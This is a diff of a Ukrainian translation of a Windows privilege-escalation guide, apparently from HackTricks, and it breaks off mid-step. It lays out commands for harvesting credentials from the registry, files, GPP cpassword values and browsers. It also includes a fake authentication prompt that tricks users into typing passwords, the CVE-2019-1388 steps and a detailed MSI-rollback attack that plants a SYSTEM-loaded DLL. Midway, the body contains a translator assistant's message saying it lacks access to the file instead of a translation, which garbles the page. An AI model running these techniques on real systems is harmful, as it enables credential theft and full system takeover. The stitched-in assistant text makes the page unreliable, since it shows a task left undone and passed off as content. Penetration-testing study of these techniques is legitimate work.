[**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Файли та Реєстр (Credentials) +## Файли та Реєстр (Облікові дані) -### Putty Creds +### Putty облікові дані ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH ключі хоста +### Putty SSH Host Keys ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys у реєстрі +### SSH keys в реєстрі -SSH private keys можуть зберігатися в ключі реєстру `HKCU\Software\OpenSSH\Agent\Keys`, тому слід перевірити, чи там є щось цікаве: +SSH private keys можуть зберігатися в ключі реєстру `HKCU\Software\OpenSSH\Agent\Keys`, тому варто перевірити, чи є там щось цікаве: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, збережений SSH key. Він зберігається в зашифрованому вигляді, але його можна легко розшифрувати за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Детальніше про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася під час завантаження, виконайте: +Якщо служба `ssh-agent` не запущена і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Здається, ця техніка більше не дійсна. Я спробував створити кілька ssh ключів, додати їх за допомогою `ssh-add` та увійти по ssh на машину. Реєстр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не виявив використання `dpapi.dll` під час аутентифікації асиметричного ключа. +> Схоже, ця техніка більше не працює. Я намагався створити кілька ssh-ключів, додати їх за допомогою `ssh-add` і увійти через ssh на машину. Регістр HKCU\Software\OpenSSH\Agent\Keys не існує, а procmon не ідентифікував використання `dpapi.dll` під час аутентифікації з асиметричними ключами. ### Файли без нагляду ``` @@ -965,8 +966,6 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Ви також можете шукати ці файли за допомогою **metasploit**: _post/windows/gather/enum_unattend_ - -Приклад вмісту: ```xml @@ -1007,15 +1006,13 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Пошукайте файл під назвою **SiteList.xml** +### Кешований GPP Pasword -### Кешований пароль GPP +Раніше існувала функція, яка дозволяла розгортати власні локальні облікові записи адміністратора на групі машин через Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), які зберігаються як XML-файли в SYSVOL, могли бути доступні будь-якому користувачу домену. По-друге, паролі всередині цих GPP, зашифровані AES256 із використанням публічно документованого ключа за замовчуванням, могли бути розшифровані будь-яким авторизованим користувачем. Це створювало серйозний ризик, оскільки могло дозволити користувачам отримати підвищені права. -Раніше була функція, яка дозволяла розгортати власні локальні облікові записи адміністраторів на групі машин через Group Policy Preferences (GPP). Однак цей метод мав суттєві проблеми з безпекою. По-перше, Group Policy Objects (GPOs), що зберігалися як XML-файли в SYSVOL, були доступні будь-якому доменному користувачу. По-друге, паролі в цих GPP, зашифровані AES256 з використанням загальнодоступного стандартного ключа, могли бути дешифровані будь-яким автентифікованим користувачем. Це становило серйозний ризик, оскільки могло дозволити користувачам отримати підвищені привілеї. +Щоб зменшити цей ризик, була розроблена функція для сканування локально кешованих файлів GPP, які містять непусте поле "cpassword". При знаходженні такого файлу функція розшифровує пароль і повертає спеціальний PowerShell-об'єкт. Цей об'єкт містить деталі про GPP та розташування файлу, що допомагає ідентифікувати та усунути цю вразливість. -Для зменшення цього ризику була розроблена функція, яка сканує локально кешовані файли GPP на наявність поля "cpassword", яке не порожнє. При виявленні такого файлу функція дешифрує пароль і повертає власний PowerShell-об'єкт. Цей об'єкт містить деталі про GPP і розташування файлу, що допомагає в ідентифікації та усуненні цієї вразливості. - -Шукайте в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до Windows Vista)_ ці файли: +Шукати в `C:\ProgramData\Microsoft\Group Policy\history` або в _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (до W Vista)_ ці файли: - Groups.xml - Services.xml @@ -1024,7 +1021,7 @@ AppData\Roaming\gcloud\access_tokens.db - Printers.xml - Drives.xml -**Щоб дешифрувати cPassword:** +**To decrypt the cPassword:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1033,7 +1030,7 @@ gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web Config +### IIS Web конфігурація ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1077,7 +1074,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Логи +### Журнали ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1085,9 +1082,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### Попросіть credentials +### Попросити credentials -Ви завжди можете **попросити користувача ввести його credentials або навіть credentials іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **запитування** клієнта безпосередньо про **credentials** є дійсно **ризикованим**): +Ви завжди можете **попросити користувача ввести свої credentials або навіть credentials іншого користувача** якщо вважаєте, що він може їх знати (зауважте, що **прямо просити** клієнта надати **credentials** — дійсно **ризиковано**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1095,9 +1092,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Possible filenames containing credentials** +### **Можливі імена файлів, що містять credentials** -Відомі файли, які деякий час тому містили **passwords** у **clear-text** або **Base64** +Відомі файли, які колись містили **passwords** у **clear-text** або **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1161,7 +1158,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don’t have access to your files. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or attach the proposed files) or specify which files you want me to search/translate. I will then translate the relevant English text to Ukrainian, preserving all markdown/html tags, links and paths exactly as requested. +Мені потрібен вміст файлу src/windows-hardening/windows-local-privilege-escalation/README.md, щоб виконати переклад. Будь ласка, вставте текст файлу або підтвердіть, що я можу отримати доступ до вмісту — тоді я зроблю точний переклад збереженням усіх markdown/html тегів і шляхів. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1170,29 +1167,29 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### Облікові дані в RecycleBin +### Credentials в RecycleBin -Також варто перевірити Bin на наявність у ньому облікових даних +Вам також слід перевірити Bin, щоб знайти credentials всередині нього -Щоб **відновити паролі**, збережені кількома програмами, ви можете скористатися: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +Щоб **recover passwords** збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) -### У реєстрі +### Всередині реєстру -**Інші можливі ключі реєстру з обліковими даними** +**Інші можливі ключі реєстру з credentials** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s reg query "HKCU\Software\TightVNC\Server" reg query "HKCU\Software\OpenSSH\Agent\Key" ``` -[**Витягнути openssh keys з реєстру.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +[**Extract openssh keys from registry.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) ### Історія браузерів -Варто перевірити dbs, де зберігаються паролі від **Chrome або Firefox**.\ -Також перевірте історію, закладки та улюблене браузерів — можливо там збережені деякі **паролі**. +Варто перевірити dbs, де зберігаються паролі від **Chrome or Firefox**.\ +Також перевірте історію, bookmarks і favourites браузерів — можливо деякі **passwords are** збережено там. -Інструменти для витягнення паролів з браузерів: +Tools to extract passwords from browsers: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1201,26 +1198,25 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### **COM DLL Overwriting** -**Component Object Model (COM)** — це технологія, вбудована в Windows, яка дозволяє взаємодію між компонентами програмного забезпечення, написаними різними мовами. Кожний COM-компонент ідентифікується через class ID (CLSID), а кожен компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих за interface IDs (IIDs). +**Component Object Model (COM)** — це технологія, вбудована в Windows, яка дозволяє **взаємодію** між компонентами програмного забезпечення, написаними різними мовами. Кожен COM компонент ідентифікується через class ID (CLSID) і кожен компонент надає функціональність через один або кілька інтерфейсів, ідентифікованих через interface IDs (IIDs). -COM-класи та інтерфейси визначені в реєстрі під **HKEY\CLASSES\ROOT\CLSID** та **HKEY\CLASSES\ROOT\Interface** відповідно. Цей розділ реєстру утворюється шляхом об’єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** +COM класи та інтерфейси визначені в реєстрі під **HKEY\CLASSES\ROOT\CLSID** і **HKEY\CLASSES\ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** = **HKEY\CLASSES\ROOT.** -Всередині CLSID цього реєстру можна знайти дочірній ключ реєстру **InProcServer32**, який містить **default value**, що вказує на **DLL**, та значення **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). +Всередині CLSID цього реєстру можна знайти дочірній ключ **InProcServer32**, який містить **default value**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) або **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -По суті, якщо ви зможете **перезаписати будь-яку з DLL**, яка буде виконана, ви зможете **підвищити привілеї**, якщо ця DLL буде виконана іншим користувачем. - -Щоб дізнатися, як атакувальники використовують COM Hijacking як механізм персистентності, див.: +В загальному, якщо ви можете **overwrite any of the DLLs**, які будуть виконані, ви можете **escalate privileges**, якщо ця DLL буде виконана іншим користувачем. +Щоб дізнатися, як зловмисники використовують COM Hijacking як механізм персистенції, подивіться: {{#ref}} com-hijacking.md {{#endref}} -### **Загальний пошук паролів у файлах і реєстрі** +### **Загальний пошук паролів у файлах та реєстрі** -**Пошук вмісту файлів** +**Шукати вміст файлів** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1239,13 +1235,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### Інструменти для пошуку паролів +### Інструменти, що шукають passwords -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін — я створив цей плагін, щоб **automatically execute every metasploit POST module that searches for credentials** всередині жертви.\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять паролі, згадані на цій сторінці.\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягування паролів із системи. +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** плагін. Я створив цей плагін, щоб **автоматично виконувати кожен metasploit POST module, який шукає credentials** всередині жертви.\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) автоматично шукає всі файли, що містять passwords, згадані на цій сторінці.\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) — ще один чудовий інструмент для витягання password із системи. -Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** та **passwords** кількох інструментів, які зберігають ці дані у відкритому тексті (PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP) +Інструмент [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) шукає **sessions**, **usernames** і **passwords** кількох програм, які зберігають ці дані у відкритому вигляді (PuTTY, WinSCP, FileZilla, SuperPuTTY та RDP) ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1254,30 +1250,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss ``` ## Leaked Handlers -Уявіть, що **a process running as SYSTEM open a new process** (`OpenProcess()`) з **повним доступом**. Той самий процес **also create a new process** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті handles головного процесу**.\ -Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий handle до привілейованого процесу, створеного** за допомогою `OpenProcess()` і **впровадити shellcode**.\ -[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md) +Уявіть собі, що **процес, запущений як SYSTEM, відкриває новий процес** (`OpenProcess()`) з **повним доступом**. Той самий процес **також створює новий процес** (`CreateProcess()`) **з низькими привілеями, але успадковуючи всі відкриті дескриптори (handles) головного процесу**.\ +Тоді, якщо у вас є **повний доступ до процесу з низькими привілеями**, ви можете захопити **відкритий дескриптор на привілейований процес, створений** за допомогою `OpenProcess()`, і **інжектнути shellcode**.\ +[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\ [Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/). ## Named Pipe Client Impersonation -Спільні сегменти пам'яті, які називають **pipes**, дозволяють процесам обмінюватися даними та передавати інформацію. +Сегменти спільної пам’яті, які називають **pipes**, дозволяють процесам обмінюватися даними й передавати їх. -Windows надає функцію під назвою **Named Pipes**, яка дозволяє непов'язаним процесам обмінюватися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначені як **named pipe server** та **named pipe client**. +Windows надає можливість під назвою **Named Pipes**, що дозволяє не пов’язаним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру client/server, де ролі визначені як **named pipe server** і **named pipe client**. -Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **перейняти ідентичність** **client**, за умови наявності необхідних прав **SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через pipe, який ви можете імітувати, дає можливість **отримати вищі привілеї**, перейнявши ідентичність цього процесу, коли він взаємодіятиме з pipe, який ви встановили. Інструкції щодо виконання такої атаки можна знайти [**тут**](named-pipe-client-impersonation.md) та [**тут**](#from-high-integrity-to-system). +Коли дані надсилає **client** через pipe, **server**, який створив pipe, має можливість **прийняти ідентичність** цього **client**, за умови наявності необхідних прав **SeImpersonate**. Виявлення **привілейованого процесу**, який спілкується через pipe, що ви можете імітувати, дає можливість **отримати вищі привілеї**, перейнявши ідентичність цього процесу після його взаємодії з pipe, який ви створили. Інструкції з виконання такої атаки можна знайти [**тут**](named-pipe-client-impersonation.md) і [**тут**](#from-high-integrity-to-system). -Також наступний інструмент дозволяє **перехоплювати комунікацію named pipe за допомогою інструменту на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічувати та переглядати всі pipes, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +Також наступний інструмент дозволяє **перехопити спілкування по named pipe за допомогою інструменту на кшталт burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **а цей інструмент дозволяє перелічити й побачити всі pipes, щоб знайти privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) -## Різне +## Інше -### Розширення файлів, які можуть виконувати код у Windows +### File Extensions that could execute stuff in Windows Перегляньте сторінку **[https://filesec.io/](https://filesec.io/)** -### **Моніторинг командних рядків на наявність паролів** +### **Моніторинг командних рядків на предмет паролів** -Коли ви отримуєте shell як користувач, можуть бути заплановані завдання або інші процеси, які виконуються і **передають облікові дані в command line**. Наведений нижче скрипт фіксує командні рядки процесів кожні дві секунди та порівнює поточний стан з попереднім, виводячи будь-які відмінності. +При отриманні shell як користувача можуть бути заплановані завдання або інші процеси, які виконуються й **передають облікові дані в командному рядку**. Наведений нижче скрипт захоплює командні рядки процесів кожні дві секунди і порівнює поточний стан з попереднім, виводячи будь-які відмінності. ```bash while($true) { @@ -1287,15 +1283,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## Крадіжка паролів із процесів +## Викрадення паролів із процесів -## Від Low Priv User до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass +## Від користувача з низькими привілеями до NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass -Якщо у вас є доступ до графічного інтерфейсу (через console або RDP) і UAC увімкнено, у деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, наприклад "NT\AUTHORITY SYSTEM", від імені unprivileged user. +Якщо ви маєте доступ до графічного інтерфейсу (через консоль або RDP) і UAC увімкнено, в деяких версіях Microsoft Windows можливо запустити термінал або будь-який інший процес, такий як "NT\AUTHORITY SYSTEM", з облікового запису без привілеїв. -Це дозволяє одночасно escalate privileges і bypass UAC з тією ж вразливістю. Крім того, немає потреби встановлювати нічого, і binary, який використовується під час процесу, підписаний та виданий Microsoft. +Це дозволяє підвищити привілеї та обійти UAC одночасно, використовуючи ту саму вразливість. Додатково, немає потреби нічого встановлювати, а бінарний файл, що використовується під час процесу, підписаний і виданий Microsoft. -Деякі з уражених систем включають: +Деякі з уражених систем: ``` SERVER ====== @@ -1317,7 +1313,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -Щоб експлуатувати цю вразливість, необхідно виконати наступні кроки: +Щоб експлуатувати цю вразливість, необхідно виконати такі кроки: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1339,221 +1335,221 @@ You have all the necessary files and information in the following GitHub reposit https://github.com/jas502n/CVE-2019-1388 -## From Administrator Medium to High Integrity Level / UAC Bypass +## З рівня адміністратора зі середнім до високого рівня цілісності / UAC Bypass -Прочитайте це, щоб **дізнатися про Integrity Levels**: +Прочитайте це, щоб **дізнатися про рівні цілісності**: {{#ref}} integrity-levels.md {{#endref}} -Потім **прочитайте це, щоб дізнатися про UAC та UAC bypasses:** +Потім **прочитайте це, щоб дізнатися про UAC та обходи UAC:** {{#ref}} ../authentication-credentials-uac-and-efs/uac-user-account-control.md {{#endref}} -## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP +## Від довільного видалення/переміщення/перейменування папки до SYSTEM EoP -Техніка, описана в цьому [**blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з кодом експлойту [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). +Техніка, описана [**в цьому блозі**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) з експлойтом [**доступним тут**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs). -Атака полягає в зловживанні функцією rollback Windows Installer для заміни легітимних файлів на шкідливі під час процесу деінсталяції. Для цього атакуючий повинен створити **malicious MSI installer**, який буде використаний для перехоплення папки `C:\Config.Msi`, котра пізніше використовуватиметься Windows Installer для зберігання rollback файлів під час деінсталяції інших MSI пакетів, де rollback файли будуть модифіковані для містити шкідливий payload. +Атака в основному полягає в зловживанні функцією rollback у Windows Installer для заміни легітимних файлів шкідливими під час процесу видалення. Для цього атакуючому потрібно створити **шкідливий MSI installer**, який буде використаний для перехоплення папки `C:\Config.Msi`, котра пізніше використовується Windows Installer для збереження rollback-файлів під час видалення інших MSI-пакетів — ці rollback-файли будуть змінені так, щоб містити шкідливий payload. -Стислий опис техніки наступний: +Коротко техніка виглядає так: -1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** +1. **Етап 1 – Підготовка до перехоплення (залишити `C:\Config.Msi` пустою)** -- Step 1: Install the MSI -- Create an `.msi` that installs a harmless file (e.g., `dummy.txt`) in a writable folder (`TARGETDIR`). -- Mark the installer as **"UAC Compliant"**, so a **non-admin user** can run it. -- Keep a **handle** open to the file after install. +- Крок 1: Встановити MSI +- Створити `.msi`, який встановлює нешкідливий файл (наприклад, `dummy.txt`) у записувану папку (`TARGETDIR`). +- Позначити інсталятор як **"UAC Compliant"**, щоб **не-адмін користувач** міг його запускати. +- Після інсталяції тримати відкритий **handle** до файлу. -- Step 2: Begin Uninstall -- Uninstall the same `.msi`. -- The uninstall process starts moving files to `C:\Config.Msi` and renaming them to `.rbf` files (rollback backups). -- **Poll the open file handle** using `GetFinalPathNameByHandle` to detect when the file becomes `C:\Config.Msi\.rbf`. +- Крок 2: Почати видалення +- Видалити той же `.msi`. +- Процес видалення починає переміщувати файли в `C:\Config.Msi` і перейменовувати їх у файли з розширенням `.rbf` (rollback backups). +- **Опитувати відкритий handle** за допомогою `GetFinalPathNameByHandle`, щоб виявити, коли файл стане `C:\Config.Msi\.rbf`. -- Step 3: Custom Syncing -- The `.msi` includes a **custom uninstall action (`SyncOnRbfWritten`)** that: -- Signals when `.rbf` has been written. -- Then **waits** on another event before continuing the uninstall. +- Крок 3: Кастомна синхронізація +- `.msi` містить **кастомну uninstall action (`SyncOnRbfWritten`)**, яка: +- Сигналізує, коли `.rbf` було записано. +- Потім **чекає** на іншу подію перед продовженням uninstall. -- Step 4: Block Deletion of `.rbf` -- When signaled, **open the `.rbf` file** without `FILE_SHARE_DELETE` — this **prevents it from being deleted**. -- Then **signal back** so the uninstall can finish. -- Windows Installer fails to delete the `.rbf`, and because it can’t delete all contents, **`C:\Config.Msi` is not removed**. +- Крок 4: Блокування видалення `.rbf` +- Коли отримано сигнал, **відкрити `.rbf`** без `FILE_SHARE_DELETE` — це **перешкоджає його видаленню**. +- Потім **відповісти сигналом**, щоб uninstall міг завершитись. +- Windows Installer не може видалити `.rbf`, і оскільки не вдається очистити весь вміст, **`C:\Config.Msi` не видаляється**. -- Step 5: Manually Delete `.rbf` -- You (attacker) delete the `.rbf` file manually. -- Now **`C:\Config.Msi` is empty**, ready to be hijacked. +- Крок 5: Ручне видалення `.rbf` +- Ви (атакуючий) вручну видаляєте файл `.rbf`. +- Тепер **`C:\Config.Msi` порожня**, готова до перехоплення. -> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`. +> На цьому етапі **спричиніть вразливість на рівні SYSTEM, яка дозволяє довільне видалення папки**, щоб видалити `C:\Config.Msi`. -2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones** +2. **Етап 2 – Замінити rollback-скрипти шкідливими** -- Step 6: Recreate `C:\Config.Msi` with Weak ACLs -- Recreate the `C:\Config.Msi` folder yourself. -- Set **weak DACLs** (e.g., Everyone:F), and **keep a handle open** with `WRITE_DAC`. +- Крок 6: Відтворити `C:\Config.Msi` з слабкими ACL +- Створити папку `C:\Config.Msi` заново. +- Встановити **слабкі DACLs** (наприклад, Everyone:F), і **тримати відкритий handle** з `WRITE_DAC`. -- Step 7: Run Another Install -- Install the `.msi` again, with: -- `TARGETDIR`: Writable location. -- `ERROROUT`: A variable that triggers a forced failure. -- This install will be used to trigger **rollback** again, which reads `.rbs` and `.rbf`. +- Крок 7: Запустити іншу інсталяцію +- Заново інсталювати `.msi`, з: +- `TARGETDIR`: записуване місце. +- `ERROROUT`: змінна, що викликає примусову помилку. +- Ця інсталяція буде використана для повторного виклику **rollback**, який читає `.rbs` і `.rbf`. -- Step 8: Monitor for `.rbs` -- Use `ReadDirectoryChangesW` to monitor `C:\Config.Msi` until a new `.rbs` appears. -- Capture its filename. +- Крок 8: Моніторинг появи `.rbs` +- Використати `ReadDirectoryChangesW` для моніторингу `C:\Config.Msi` до появи нового `.rbs`. +- Зафіксувати його імʼя файлу. -- Step 9: Sync Before Rollback -- The `.msi` contains a **custom install action (`SyncBeforeRollback`)** that: -- Signals an event when the `.rbs` is created. -- Then **waits** before continuing. +- Крок 9: Синхронізація перед rollback +- `.msi` містить **кастомну install action (`SyncBeforeRollback`)**, яка: +- Сигналізує подією, коли `.rbs` створено. +- Потім **чекає** перед продовженням. -- Step 10: Reapply Weak ACL -- After receiving the `.rbs created` event: -- The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`. -- But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again. +- Крок 10: Повторне застосування слабких ACL +- Після отримання події `rbs created`: +- Windows Installer **застосовує сильні ACLs** до `C:\Config.Msi`. +- Але оскільки ви все ще маєте handle з `WRITE_DAC`, ви можете **знову застосувати слабкі ACLs**. -> ACLs are **only enforced on handle open**, so you can still write to the folder. +> ACLs застосовуються **тільки при відкритті handle**, тож ви все ще можете записувати в папку. -- Step 11: Drop Fake `.rbs` and `.rbf` -- Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to: -- Restore your `.rbf` file (malicious DLL) into a **privileged location** (e.g., `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). -- Drop your fake `.rbf` containing a **malicious SYSTEM-level payload DLL**. +- Крок 11: Підсунути підроблені `.rbs` і `.rbf` +- Перезаписати файл `.rbs` підробленим rollback-скриптом, який наказує Windows: +- Відновити ваш `.rbf` (шкідлива DLL) у **привілейоване місце** (наприклад, `C:\Program Files\Common Files\microsoft shared\ink\HID.DLL`). +- Помістити ваш підроблений `.rbf`, що містить **шкідливу DLL з payload рівня SYSTEM**. -- Step 12: Trigger the Rollback -- Signal the sync event so the installer resumes. -- A **type 19 custom action (`ErrorOut`)** is configured to **intentionally fail the install** at a known point. -- This causes **rollback to begin**. +- Крок 12: Запустити rollback +- Сигналізувати синхронізаційну подію, щоб інсталятор продовжився. +- Налаштовано **type 19 custom action (`ErrorOut`)**, щоб **навмисно викликати помилку інсталяції** в відомій точці. +- Це спричиняє початок **rollback**. -- Step 13: SYSTEM Installs Your DLL +- Крок 13: SYSTEM встановлює вашу DLL - Windows Installer: -- Reads your malicious `.rbs`. -- Copies your `.rbf` DLL into the target location. -- You now have your **malicious DLL in a SYSTEM-loaded path**. +- Зчитує вашу шкідливу `.rbs`. +- Копіює вашу `.rbf` DLL у цільове місце. +- Тепер у вас є **шкідлива DLL у шляху, що завантажується SYSTEM**. -- Final Step: Execute SYSTEM Code -- Run a trusted **auto-elevated binary** (e.g., `osk.exe`) that loads the DLL you hijacked. -- **Boom**: Your code is executed **as SYSTEM**. +- Останній крок: Виконати код від імені SYSTEM +- Запустіть довірений **auto-elevated 